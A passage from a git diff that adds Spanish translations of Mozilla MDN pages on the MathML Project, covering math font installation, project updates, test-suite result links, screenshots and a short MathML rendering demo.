+<p>Algunos operadores matemáticos se dibujan también usando glifos para variantes más largas del caracter ( e.j. el símbolo de la suma )  o montanto glifos para algunas partes del carcater ( e.j. llaves ). En general estas variantes o partes de glifos no tienen asignación Unicode y se necesita soporte soporte específico de la fuente para esos caracteres. Mozilla tiene soporte general para los delimitadores y flechas comunes que tienen las asignaciones Unicode necesarias. Para otros caracteres, Mozilla tiene soporte específico de fuentes. En general, si los glifos necesarios no están disponibles en el sistema, Mozilla intenta estirar los símbolos usando transformaciones de escalado, pero el resuntado del renderizado puede no resultar menos satisfactorio.</p>
+
+<p>Para ver MathML como se pretende, necesitas tener apoyo de fuentes suficiente, lo que puede significar tener que instalar algunas fuentes. En ese caso, verás el renderizado correcto si usas Geko 15.0 {{ geckoRelease("15.0") }}o superior.</p>
+
+<h2 id="Fuentes_principales">Fuentes principales</h2>
+
+<p>El <a class="external" href="http://www.stixfonts.org/">STIX Fonts Project</a> ha desarrollado un conjunto de fuentes comprensible que cubre todos los símbolos en MathML y también contiene glifos para estirar los operadores matemáticos. Están disponibles bajo licencia <a class="external" href="http://scripts.sil.org/OFL" rel="external" title="http://scripts.sil.org/OFL">SIL Open Font License</a> y se deberían instalar para un mejor renderizado de MathML. Ten en cuenta que actualmente, solo las fuente en <code>/Fonts/STIX-General/ </code>se utilizan para estirar operadores matemáticos con fuentes STIX. <a class="external" href="http://www.ctan.org/tex-archive/fonts/Asana-Math/" rel="external" title="http://www.ctan.org/tex-archive/fonts/Asana-Math/">Asana Math</a>  también está disponible de manera gratuita bajo licencia <a class="external" href="http://scripts.sil.org/OFL" rel="external" title="http://scripts.sil.org/OFL">SIL Open Font License</a> y tiene buen soporte para caracteres matemáticos. Empezando en Geko 7.0 {{ geckoRelease("7.0") }}, Mozilla también puede usar glifos contenidos en esa fuente para operadores alargados. Desde Gecko 13.0 {{ geckoRelease("13.0") }}, <a class="external" href="http://cdn.mathjax.org/mathjax/latest/fonts/HTML-CSS/TeX/otf/" title="http://cdn.mathjax.org/mathjax/latest/fonts/HTML-CSS/TeX/otf/">MathJax fonts</a> se utiliza como fuente por defecto para textos matemáticos y estirado de símbolos. Estas fuentes están disponibles gratuitamente bajo licencia <a class="external" href="http://cdn.mathjax.org/mathjax/latest/LICENSE" title="http://cdn.mathjax.org/mathjax/latest/LICENSE">Apache License</a>. Se asemejan al renderizado de LaTeX y deberían resultarle más familiares a los científicos. Las funetes MathJax también mejoran el soporte para el atributo <a href="/en/MathML/Element/mi#attr-mathvariant" title="https://developer.mozilla.org/en/MathML/Element/mi#attr-mathvariant">mathvariant</a> (  ej. <span id="result_box" lang="es"><span class="hps">para escribir</span> <span class="hps">el doble</span> <span class="hps">tachado</span><span>, el guión y</span> <span class="hps">el texto</span> <span class="hps">fraktur ).</span></span></p>
+
+<p>Todas las fuentes arriba mencionadas pueden estar ya instaladas por defecto en tu sistema o pueden ser instaladas fácilmente vía gestor de software. Por conveniencia, proporcionamos un <a href="https://developer.mozilla.org/@api/deki/files/6182/=MathML-fonts.zip" title="MathML-fonts.zip">archivo zip con la funtens de MathML.</a> Las fuentes pueden ser instaladas extrayendo los archivos ( que tienen la extensión  <code>.otf</code> ) del archivo zip y siguiendo después las  in<a class="external" href="http://www.microsoft.com/typography/ttfinst/ttfinst.htm"> instrucciones para Microsoft Windows</a> o copiando los archivos a <code>~/Library/Fonts</code> folder en Mac OS X, o a al directorio <code>~/.fonts/</code> (que puede no estar creado) en sistemas Unix/Linux. De manera alternativa, siga las instrucciones de <a class="external" href="http://www.dafont.com/faq.php">dafont's "How to install a font"</a>. Estas fuentes son OpenType PostScript,  que son soportadas por la mayoría de sistemas operativos modernos. Sin embargo, algunos sistemas operativos puede que no las soporten. En esos sistemas, será necesario convertir esas fuentes a un formato que esté soportado. Por ejemplo Asana Math está disponible en <a class="external" href="http://mirrors.ctan.org/fonts/Asana-Math/Asana-Math.ttf" title="http://mirrors.ctan.org/fonts/Asana-Math/Asana-Math.ttf">formato TrueType</a> y hay una <a class="external" href="http://olegueret.googlepages.com/stixfonts-ttf">conversión no oficial TrueType</a> para fuentes STIX.</p>
+
+<h2 id="Otras_fuentes">Otras fuentes</h2>
+
+<p>Las siguientes fuentes no son necesarias si las fuentes de arriba están instaladas, pero cabe señalarlas por su soporte para Unicode para muchos caracteres matemáticos.</p>
+
+<p> </p>
+
+<p><a class="external" href="http://dejavu.sourceforge.net/">DejaVu Serif y DejaVu Sans</a> están  <a class="external" href="http://dejavu.sourceforge.net/wiki/index.php/License">disponibles gratuitamente</a> e instalafas con muchas distribuciones Linux. Contienen soporte para muchos caracteres matemáticos y Mozilla mostrará MathML de manera razonable en sistemas con estas fuentes instaladas, incluso sin fuentes STIX. La copia de la fuente, contiene glifos para operadores elásticos con asignación Unicode.</p>
+
+<p>Cambira Math está preinstalada en Microsoft Windows Vista, y también viene con Microsoft Office 2007 o <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=048dc840-14e1-467d-8dca-19d2a8fd7485">Microsoft PowerPoint Viewer 2007</a>. La fuente tuene buen soporte para caracteres matemáticos y por tanto, con cualquiera de estos productos instalados, Mozilla será capaz de mostrar MathML razonablemente incluso sin fuentes STIX. La fuente contiene los glifos necesarios para operadores elásticos, pero Mozilla <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=372351">aun no</a> hace uso de todos ellos. La licencia permite que "uses esta según lo permitido por la EULA para el producto en el cual la fuente se incluye para mostrar e imprimir contenido",  así que conviene una consulta legal si estás considerando instalarla en sistemas sin los productos asociados.</p>
+
+<h2 id="Futuro_trabajo_(¡Ayuda_por_favor!)">Futuro trabajo (¡Ayuda, por favor!)</h2>
+
+<p>Algunas fuentes OpenType incluyen una tabla MATH como un a extensión OpenType permitiría glifos para operadores flexibles en una manera "no tan específica para fuentes", pero Mozilla <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=407059">aun no</a> hace uso de esto. Esto incluye <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=372351" title="/en-US/docs/">Cambria Math</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=622576" title="/en-US/docs/">Neo Euler</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=693968" title="/en-US/docs/">STIX 1.1</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=736032" title="/en-US/docs/">LM Math</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=737788" title="/en-US/docs/">Lucida fonts</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=407439" title="/en-US/docs/">Asana Math</a> y probablemente más.<br>
+ Un instalador experimental para Mac OS X está disponible en {{ Bug("770005") }}.</p>
+
+<p>Implementar una UI para descargar automáticamente las fuentes. Están disponibles algunos parches en {{ Bug("295193") }}.</p>
+
+<p>Para distribuciones Linux, uno puede usar el PackageKit DBUS API ({{ Bug("467729") }}).<br>
+ Para plataformas móviles, ver {{ Bug("648548") }} y para  Firefox OS {{ Bug("775060") }}</p>
+
+<p>Otros bugs relacionados: <s><a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=697277" title="/en-US/docs/">suggest MathJax/Asana on Debian</a>,</s> <a href="https://code.google.com/p/android/issues/detail?id=36011" title="/en-US/docs/">Math fonts on Android</a>.</p>
+
+<h2 id="Reajustar_viejas_preferencias">Reajustar viejas preferencias</h2>
+
+<p>Si los usuarios han cambiado previamente la preferencia "font.mathfont-family" en una versión previa de Mozilla, entonces es mejor resetearlo al valor por defecto. Para hacerlos, escribe la url "about:config", "Filter" para "mathfont", and "Reset" al valor por defecto a través del menú contextual en preferencias.</p>
+
+<div id="cke_pastebin" style="position: absolute; top: 56.8667px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/es/mozilla/mathml_project/index.html b/files/es/mozilla/mathml_project/index.html
new file mode 100644
index 0000000000..21b436807f
--- /dev/null
+++ b/files/es/mozilla/mathml_project/index.html
@@ -0,0 +1,91 @@
+---
+title: Proyecto Mozilla MathML
+slug: Mozilla/MathML_Project
+tags:
+  - MathML
+  - MathML Project
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/MathML_Project
+---
+<p>El proyecto Mozilla MathML es un proyecto de Mozilla para crear y mejorar el soporte de <a href="/es/docs/Web/MathML" title="/es/docs/Web/MathML">MathML</a> en Firefox y otras aplicaciones de Mozilla.</p>
+
+<h2 id="Actualizaciones">Actualizaciones</h2>
+
+<p><img alt="mathboard.png" class="default internal" src="/@api/deki/files/4238/=mathboard.png" style="float: right;"></p>
+
+<ul>
+ <li><a href="/docs/Mozilla/MathML_Project/Status" title="Mozilla MathML Project/Status">Estado de cada etiqueta</a></li>
+ <li><a href="/docs/Mozilla/MathML_Project/MathML3Testsuite" title="Mozilla MathML Project/MathML3Testsuite">Resultado de la MathML 3 Testsuite</a></li>
+ <li><a class="external" href="https://www.wg9s.com/mozilla/firefox/">Nightly builds no oficiales con parches de MathML aplicados</a> (mantenido por Bill Gianopoulos)</li>
+ <li><a href="/docs/Mozilla/MathML_Project/Student_Projects" title="Mozilla_MathML_Project/Student_Projects">Proyectos de estudiantes</a></li>
+ <li><a href="/docs/Mozilla/MathML_Project/Updates" title="Mozilla_MathML_Project/Updates">Todas las actualizaciones...</a></li>
+</ul>
+
+<h3 id="3_de_Mayo_de_2013">3 de Mayo de 2013</h3>
+
+<p><a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2013/05/03/Firefox-Nightly-passes-the-Acid2-test">Firefox Nightly pasa el test MathML Acid2 </a>; <a href="http://news.slashdot.org/story/13/05/04/0015241/firefox-is-the-first-browser-to-pass-the-mathml-acid2-test" title="http://news.slashdot.org/story/13/05/04/0015241/firefox-is-the-first-browser-to-pass-the-mathml-acid2-test">Artículo en Slashdot </a>; <a href="http://www.ghacks.net/2013/05/04/firefox-first-browser-to-pass-mathml-acid-test-how-about-your-browser/" title="http://www.ghacks.net/2013/05/04/firefox-first-browser-to-pass-mathml-acid-test-how-about-your-browser/">Artículo en ghacks</a> .</p>
+
+<h3 id="10_de_Enero_de_2013">10 de Enero de 2013</h3>
+
+<p>Chrome 24 ha sido lanzado con soporte básico para MathML.</p>
+
+<p><ins>actualización: MathML deshabilitado de nuevo en Chrome 25 :-(</ins></p>
+
+<h3 id="1_de_Diciembre_de_2012">1 de Diciembre de 2012</h3>
+
+<p>¡Todas las páginas de Mozilla MathML Project han sido <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=585142#c2" title="https://bugzilla.mozilla.org/show_bug.cgi?id=585142#c2">migradas a MDN</a>!</p>
+
+<h3 id="26_de_Noviembre_de_2012">26 de Noviembre de 2012</h3>
+
+<p><a href="http://toc.oreilly.com/2012/11/math-typesetting.html" title="http://toc.oreilly.com/2012/11/math-typesetting.html">Math typesetting - ¿Por qué estamos dejando un asunto tan importante en manos de voluntarios con escasos recursos y pequeñas organizaciones?</a></p>
+
+<h2 id="Comunidad">Comunidad</h2>
+
+<ul>
+ <li>Ver en los foros de Mozilla... {{DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml")}}</li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">canal IRC</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki utilizada por contribuyentes</a> - echa un vistazo a los últimos desarrollos y ayúdanos a mejorar MathML en Mozilla.</li>
+</ul>
+
+<h2 id="Enlaces">Enlaces</h2>
+
+<ul>
+ <li>Instalación de <a href="/docs/Mozilla/MathML_Project/Fonts" title="Mozilla MathML Project/Fonts">fuentes para el motor Mozilla's MathML</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/MathML3/">MathML Versión 3.0</a> - W3C Recommendación, 21 de Octubre de  2010</li>
+ <li><a class="external" href="http://www.w3.org/Math/testsuite/"><abbr>W3C</abbr> <abbr>MathML</abbr> Test Suite</a> - <span id="result_box" lang="es"><span class="hps">Diseñado</span> <span class="hps">para comprobar la aplicación</span> <span class="hps">de cada</span> <span class="hps">elemento de</span> <span class="hps">un atributo</span></span> (o rendimiento de cada comportamiento integrado) cada vez, de manera bastante exhaustiva.</li>
+ <li><a href="/docs/Web/MathML" title="MathML">MathML en Mozilla Developer Network</a></li>
+</ul>
+
+<h3 id="Documentos_de_MathML">Documentos de <abbr>MathML</abbr></h3>
+
+<ul>
+ <li><a href="/es/docs/Mozilla/MathML_Project/Screenshots" title="Mozilla MathML Project/Screenshots">Capturas de pantalla</a></li>
+ <li><a href="/es/docs/Mozilla/MathML_Project/Start" title="Mozilla_MathML_Project/Start"><abbr>MathML</abbr> Paǵina de Inicio </a>- con traducciones a diferentes idiomas ( <a href="/ar/docs/Mozilla_MathML_Project/Start" title="/ar/Mozilla_MathML_Project/Start">Árabe</a>, <a href="/zh-CN/docs/Mozilla_MathML_Project/Start" title="/zh-CN/Mozilla_MathML_Project/Start">Chino</a>, <a href="/he/docs/Mozilla_MathML_Project/Start" title="/he/Mozilla_MathML_Project/Start">Hebreo</a>, <a href="/th/docs/Mozilla_MathML_Project/Start" title="/th/Mozilla_MathML_Project/Start">Tailandés</a>)</li>
+ <li><a class="external" href="/es/docs/Mozilla/MathML_Project/Basics">MathML básico</a> - Documento confeccionado para mostrarse correctamente solo con la fuente Symbol que está preinstalada por defecto en la mayoría de sistemas operativos.</li>
+ <li><a class="external" href="/docs/Mozilla/MathML_Project/MathML_Torture_Test">Test de tortura de MathML</a> - Test comparativo de renderizado de MathML contra TeX.</li>
+ <li>Demo de algunas etiquetas MathML: <a class="external" href="/docs/Mozilla/MathML_Project/mfrac">mfrac</a>, <a class="external" href="/docs/Mozilla/MathML_Project/mo">mo</a>, <a class="external" href="/docs/Mozilla/MathML_Project/mtable">mtable</a>, <a class="external" href="/docs/Mozilla/MathML_Project/mspace">mspace</a>, <a class="external" href="/docs/Mozilla/MathML_Project/mmultiscripts">mmultiscripts</a>, <a class="external" href="/docs/Mozilla/MathML_Project/roots">msqrt-mroot</a>.</li>
+ <li><a class="external" href="/es/docs/Mozilla/MathML_Project/Extras">MathML Extras</a> - Demostración tecnológica de algunos interesantes resultados de construir de forma nativa en el navegador.</li>
+ <li><a href="/es/docs/Mozilla/MathML_Project/Various" title="Mozilla_MathML_Project/Various">Varios Test de MathML</a> - Estas páginas se importaron de  <code>layout/mathml/tests/</code>.</li>
+ <li><a class="external" href="https://golem.ph.utexas.edu/~distler/blog/archives/000104.html">Blog</a> con comentarios que incluyen MathML.</li>
+</ul>
+
+<h3 id="Crear_documentos_MathML">Crear documentos <abbr>MathML</abbr></h3>
+
+<ul>
+ <li><a href="/docs/Web/MathML/Authoring" title="Mozilla MathML Project/Authoring">Autoría de MathML</a></li>
+ <li><a class="external" href="https://www.w3.org/Math/Software/mathml_software_cat_editors.html">Editores</a></li>
+ <li><a class="external" href="https://www.w3.org/Math/Software/mathml_software_cat_converters.html">Conversores</a></li>
+ <li><a class="external" href="https://www.w3.org/Math/Software/mathml_software_cat_stylesheets.html">Hojas de estilo</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h2>
+
+<ul>
+ <li>Autor(es): Roger B. Sidje</li>
+ <li>Otros contribuyentes: Frédéric Wang</li>
+ <li>Fecha de última actualización: 4 de Abril de 2010</li>
+ <li>Información de Copyright: Portions of this content are © 1999–2010 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
+</ul>
+</div>
diff --git a/files/es/mozilla/mathml_project/mathml3testsuite/index.html b/files/es/mozilla/mathml_project/mathml3testsuite/index.html
new file mode 100644
index 0000000000..fd25091d3b
--- /dev/null
+++ b/files/es/mozilla/mathml_project/mathml3testsuite/index.html
@@ -0,0 +1,64 @@
+---
+title: MathML3 Testsuite
+slug: Mozilla/MathML_Project/MathML3Testsuite
+tags:
+  - MathML
+  - MathML Testsuite
+translation_of: Mozilla/MathML_Project/MathML3Testsuite
+---
+<p>Las siguientes páginas contienen los resultados obtenidos al realizar el <a class="external" href="http://www.w3.org/Math/testsuite/build/main/overview.html">MathML 3 full testsuite</a> para la presentación de MathML. Las secciones están marcadas con <span style="background-color: #90ee90;">paso</span>, <span style="background-color: #fa8072;">fallo</span>, <span style="border: solid 1px #000000;">no-probado</span> o <span style="background-color: #ffd700;">probado-en-parte</span>,  mostrando así el estado de las construcciones con la correspondiente fuente instalada. Cuando el marcador es intencionalmente erróneo, el comportamiento correcto no esta definido por la recomendación y por lo tanto la prueba se considera "pasada" sí, no hay errores fatales. Esta excepción también se cumple para funciones obsoletas (como por ejemplo macro, mode, etc.) o para otros comportamientos aun no definidos  (attribute, href por ejemplo).</p>
+<p>Note que en general comparando con el "ejemplo de renderizado" no es suficiente para concluir que una prueba fue aprobada o fallida. Así que por favor no edite estas páginas si usted no es capaz de explicar el proceso de renderizado de Gecko. Sin embargo, cualquier reporte es bienvenido en la web de <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=557086">Rastreo de bug para MathML testsuite</a>.</p>
+<ul>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters" title="en/Mozilla MathML Project/MathML3Testsuite/Characters">Caracteres</a>
+  <ul>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#Blocks" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#Blocks">Bloques</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#Symbols" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#Symbols">Símbolos</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#Variants" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#Variants">Variantes</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#EntityNames" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#EntityNames">EntityNames</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#NumericRefs" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#NumericRefs">Referencias Numéricas</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Characters#UTF8" title="en/Mozilla MathML Project/MathML3Testsuite/Characters#UTF8">UTF8</a></li>
+  </ul>
+ </li>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors">General </a>
+  <ul>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors#Clipboard" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors#Clipboard">Portapapeles</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors#GenAttribs" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors#GenAttribs">GenAttribs</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors#Math" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors#Math">Math</a></li>
+  </ul>
+ </li>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Presentation" title="en/Mozilla MathML Project/MathML3Testsuite/Presentation">Presentación</a>
+  <ul>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Presentation/CSS" title="en/Mozilla MathML Project/MathML3Testsuite/Presentation/CSS">CSS</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Presentation#DynamicExpressions" title="en/Mozilla MathML Project/MathML3Testsuite/Presentation#DynamicExpressions">Expresiones Dinámicas</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Presentation#GeneralLayout" title="en/Mozilla MathML Project/MathML3Testsuite/Presentation#GeneralLayout">Esquema General</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Presentation#ScriptsAndLimits" title="en/Mozilla MathML Project/MathML3Testsuite/Presentation#ScriptsAndLimits">Scripts y Limites</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics/TablesTokens#TablesAndMatrices" title="en/Mozilla MathML Project/MathML3Testsuite/TablesTokens#TablesAndMatrices">Tablas y Matrices</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics/TablesTokens#TokenElements" title="en/Mozilla MathML Project/MathML3Testsuite/TablesTokens#TokenElements">Elementos de Señalización </a></li>
+  </ul>
+ </li>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics" title="en/Mozilla MathML Project/MathML3Testsuite/Topics">Topicos</a>
+  <ul>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics/AccentsBiDi#Accents" title="en/Mozilla MathML Project/MathML3Testsuite/AccentsBiDi#Accents">Accents</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics/AccentsBiDi#BiDi" title="en/Mozilla MathML Project/MathML3Testsuite/AccentsBiDi#BiDi">BiDI</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics/ElementaryMath" title="en/Mozilla MathML Project/MathML3Testsuite/Topics/ElementaryMath">Ejemplos Matematicos Basicos</a>        </li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#EmbellishedOp" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#EmbellishedOp">EmbellishedOp</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#LargeOp" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#LargeOp">LargeOp</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#LineBreak" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#LineBreak">LineBreak</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#Nesting" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#Nesting">Anidamiento</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#StretchyChars" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#StretchyChars">StretchyChars</a></li>
+   <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/Topics#WhiteSpace" title="en/Mozilla MathML Project/MathML3Testsuite/Topics#WhiteSpace">WhiteSpace</a></li>
+  </ul>
+ </li>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors#TortureTests" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors#TortureTests">Prueba de Resistencia</a></li>
+ <li><a href="/en/Mozilla_MathML_Project/MathML3Testsuite/GeneralTortureErrors#Error_Handling" title="en/Mozilla MathML Project/MathML3Testsuite/GeneralTortureErrors#Error Handling">Manejo de Errores</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Información del Documento Original</h2>
+ <ul>
+  <li>Autor(es): Frédéric Wang</li>
+  <li>Otros Contribuidores:</li>
+  <li>Fecha de Ultima Actualización: Mayo 26, 2010</li>
+  <li>Información sobre Derechos de Autor: Porciones de este contenido están © 2010 por contribuidores individuales de mozilla.org; contenido disponible bajo licencia Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Detalles</a>.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/mathml_project/screenshots/index.html b/files/es/mozilla/mathml_project/screenshots/index.html
new file mode 100644
index 0000000000..a6b868e20e
--- /dev/null
+++ b/files/es/mozilla/mathml_project/screenshots/index.html
@@ -0,0 +1,14 @@
+---
+title: Pantallas MathML
+slug: Mozilla/MathML_Project/Screenshots
+translation_of: Mozilla/MathML_Project/Screenshots
+---
+<ul>
+ <li><a href="/@api/deki/files/5690/=start.png" title="start.png">Screenshot</a> de <a class="external" href="/docs/Mozilla/MathML_Project/Start" title="http://www.mozilla.org/projects/mathml/start.xhtml">Start</a></li>
+ <li><a class="external" href="/@api/deki/files/5518/=basics.png" title="https://developer.mozilla.org/@api/deki/files/5518/=basics.png">Screenshot</a> de <a class="external" href="/docs/Mozilla/MathML_Project/Basics" title="http://www.mozilla.org/projects/mathml/demo/basics.xhtml">Basics</a>.</li>
+ <li><a href="/@api/deki/files/5509/=demo-mfrac.png" title="https://developer.mozilla.org/@api/deki/files/5509/=demo-mfrac.png">Screenshot</a> de <a class="external" href="/docs/Mozilla/MathML_Project/mfrac" title="http://www.mozilla.org/projects/mathml/demo/mfrac.xhtml">mfrac</a>. Esta página también nos muestra cómo MathML puede ser usado en combinación con otras características Web cómo lo es <em>background</em> <em>images</em> en una opacidad deseada.</li>
+ <li><a href="/@api/deki/files/5512/=demo-mtable-1.png" title="https://developer.mozilla.org/@api/deki/files/5512/=demo-mtable-1.png">Capturas de pantalla</a> de <a class="external" href="/docs/Mozilla/MathML_Project/mtable" title="http://www.mozilla.org/projects/mathml/demo/mtable.xhtml">mtable</a>, mostrando las construcciones de tipografía matemática en 2D.</li>
+ <li><a href="/@api/deki/files/5508/=roots-maxwell-einstein.png" title="https://developer.mozilla.org/@api/deki/files/5508/=roots-maxwell-einstein.png">Screenshot</a> de <a class="external" href="/docs/Mozilla/MathML_Project/roots" title="http://www.mozilla.org/projects/mathml/demo/roots.xhtml">roots</a> y <a class="external" href="/docs/Mozilla/MathML_Project/Various#Maxwell's_Equations" title="http://mxr.mozilla.org/mozilla-central/source/layout/mathml/tests/maxwell.xml?raw=1">physics equations</a> (Ecuación de Maxwell y campos de la ecuación de Einstein). Esta pantalla captura las demostraciones avanzadas de un <em>layout</em> con mtable y operadores flexibles.</li>
+ <li>Puedes obtener la fuente de MathML de <a href="/@api/deki/files/5510/=view_mathml_source.png" title="https://developer.mozilla.org/@api/deki/files/5510/=view_mathml_source.png">una formula</a> o una <a href="/@api/deki/files/5511/=view_selection_source.png" title="https://developer.mozilla.org/@api/deki/files/5511/=view_selection_source.png">expresión seleccionada</a>. ¡Es tu elección!</li>
+ <li>MathML en <a href="/@api/deki/files/4240/=mail_client_blog.png" title="https://developer.mozilla.org/@api/deki/files/4240/=mail_client_blog.png">blogs</a> y también <a class="external" href="/@api/deki/files/5519/=mathmail.png" title="https://developer.mozilla.org/@api/deki/files/5519/=mathmail.png">e-mails</a>.</li>
+</ul>
diff --git a/files/es/mozilla/mathml_project/start/index.html b/files/es/mozilla/mathml_project/start/index.html
new file mode 100644
index 0000000000..78534ad6cd
--- /dev/null
+++ b/files/es/mozilla/mathml_project/start/index.html
@@ -0,0 +1,96 @@
+---
+title: MathML en acción
+slug: Mozilla/MathML_Project/Start
+tags:
+  - MathML
+translation_of: Mozilla/MathML_Project/Start
+---
+<h2 id="MathML_en_acción">MathML en  acción</h2>
+<p>¿Ves elegantes ecuaciones a lo largo de esta página? ¿No? Que mal, aquí tienes una <a href="https://developer.mozilla.org/@api/deki/files/5690/=start.png">captura de pantalla</a>  de lo que te estás perdiendo. <a href="./">Descarga </a>una versión de Mozilla habilitada para usar MathML para remediar esta situación.</p>
+<p>¿Ahora ya tienes una versión de Mozilla habilitada para usar MathML pero lo que ves en las capturas de pantalla no es lo que obtienes? En ese caso, probablemente te faltan algunas <a href="fonts/">fuentes MathML </a>importantes.</p>
+<p>Ahora que estas bien equipado, deberías poder ver esta ecuación incorporada con varios acentos: <math> <mrow> <mover> <mi>x</mi> <mo>^</mo> </mover> <mo>+</mo> <mover> <mrow><mi>x</mi><mo>⁢</mo><mi>y</mi></mrow> <mo>^</mo> </mover> <mo>+</mo> <mover> <mrow><mi>x</mi><mo>⁢</mo><mi>y</mi><mo>⁢</mo><mi>z</mi></mrow> <mo>^</mo> </mover><mo></mo></mrow></math><math><mrow><mover><mi></mi><mo></mo></mover><mo></mo><mover><mrow><mi></mi><mo></mo><mi></mi></mrow><mo></mo></mover><mo></mo><mover><mrow><mi></mi><mo></mo><mi></mi><mo></mo><mi></mi></mrow><mo></mo></mover><mo>.</mo> </mrow> </math>Al lado de esta tienes esta pequeña fórmula, <math> <mrow> <mo>det</mo> <mo lspace="0" rspace="0" symmetric="false">|</mo> <mfrac linethickness="0"> <mi>a</mi> <mi>c</mi> </mfrac> <mfrac linethickness="0"> <mi>b</mi> <mi>d</mi> </mfrac> <mo lspace="0" rspace="0" symmetric="false">|</mo> <mo>=</mo> <mi>a</mi> <mi>d</mi> <mo>-</mo> <mi>b</mi> <mi>c</mi> <mo>,</mo> </mrow></math>la cual también puede ser compuesta en displaystyle como <math display="block"> <mrow> <mo>det</mo> <mo>|</mo> <mtable> <mtr> <mtd> <mi>a</mi> </mtd> <mtd> <mi>b</mi> </mtd> </mtr> <mtr> <mtd> <mi>c</mi> </mtd> <mtd> <mi>d</mi> </mtd> </mtr> </mtable> <mo>|</mo> <mo>=</mo> <mi>a</mi> <mi>d</mi> <mo>-</mo> <mi>b</mi> <mi>c</mi> <mo>.</mo> </mrow> </math></p>
+<p>La composición matemática es difícil. <a href="./">MathML en Mozilla</a> busca cumplir con las <a href="http://www.w3.org/Math/">especificaciones MathML</a> de modo que
+ <i>
+  What</i>
+ <i>
+  You See Is What You Markup</i>
+ (Lo Que Ves Es Lo Que Marcas), o dicho de otra manera
+ <i>
+  What</i>
+ <i>
+  You See Is What You Made</i>
